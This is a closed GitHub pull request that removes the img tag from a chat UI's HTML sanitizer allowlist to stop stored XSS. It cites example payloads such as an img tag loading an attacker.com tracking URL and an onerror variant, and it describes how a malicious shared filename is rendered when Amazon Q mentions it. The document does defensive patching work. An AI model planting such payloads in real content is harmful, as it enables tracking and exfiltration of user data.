Skip to content

fix: remove img from HTML sanitizer allowlist to prevent stored XSS#482

Closed
chungjac wants to merge 5 commits intoaws:mainfrom
chungjac:fix-remove-img-from-sanitizer-allowlist
Closed

fix: remove img from HTML sanitizer allowlist to prevent stored XSS#482
chungjac wants to merge 5 commits intoaws:mainfrom
chungjac:fix-remove-img-from-sanitizer-allowlist

Conversation

@chungjac
Copy link
Copy Markdown
Contributor

@chungjac chungjac commented May 7, 2026

Summary

  • Remove img from AllowedTags in src/helper/sanitize.ts to prevent attacker-controlled filenames (e.g., <img src="https://attacker.com/track">) from rendering as live HTML elements in chat responses
  • Update example app to replace removed img usage in custom renderer demo with inline SVG string

Context

This addresses the remaining finding from the VAPT verification of P388021229. The previous fixes (PRs #466, #462, #470) removed embed, iframe, object, and srcdoc, and added escapeHTML to innerHTML paths. However, img remained in the allowlist, allowing outbound HTTP requests via image loads without requiring JavaScript execution.

Attack vector: A malicious filename like <img src="https://attacker.com/track?victim=user"> in a shared DataZone file renders as a live HTML element when Amazon Q mentions it in a response, enabling user tracking and data exfiltration via URL parameters.

Impact of this change: img tags in LLM response bodies and custom renderers will be stripped. In practice, Amazon Q does not render images in chat response bodies today, so there is no user-visible regression.

Test plan

  • Verify <img src="https://..."> in chat body is stripped (no outbound request in Network tab)
  • Verify <img src=x onerror="..."> is stripped entirely
  • Verify normal markdown (bold, italic, code, links, lists) still renders correctly
  • Verify <svg> tags continue to be stripped (no regression)
  • Run existing unit tests

@chungjac chungjac requested a review from a team as a code owner May 7, 2026 06:23
The img tag in AllowedTags allows attacker-controlled filenames like
<img src="https://attacker.com/track"> to render as live HTML elements
in chat responses, enabling data exfiltration via outbound image requests
without requiring JavaScript execution. This addresses the remaining
finding from the VAPT verification of P388021229.
@chungjac chungjac force-pushed the fix-remove-img-from-sanitizer-allowlist branch from 93d157c to 3d57922 Compare May 7, 2026 06:25
The img tag is no longer in AllowedTags, so the markdown image test
and its assertion are removed. Golden snapshots will be updated from
CI artifacts.
@chungjac chungjac force-pushed the fix-remove-img-from-sanitizer-allowlist branch from fb5886a to eb4319f Compare May 7, 2026 07:04
@chungjac chungjac force-pushed the fix-remove-img-from-sanitizer-allowlist branch 4 times, most recently from eb4319f to 2ad2730 Compare May 7, 2026 18:19
@chungjac chungjac closed this May 7, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant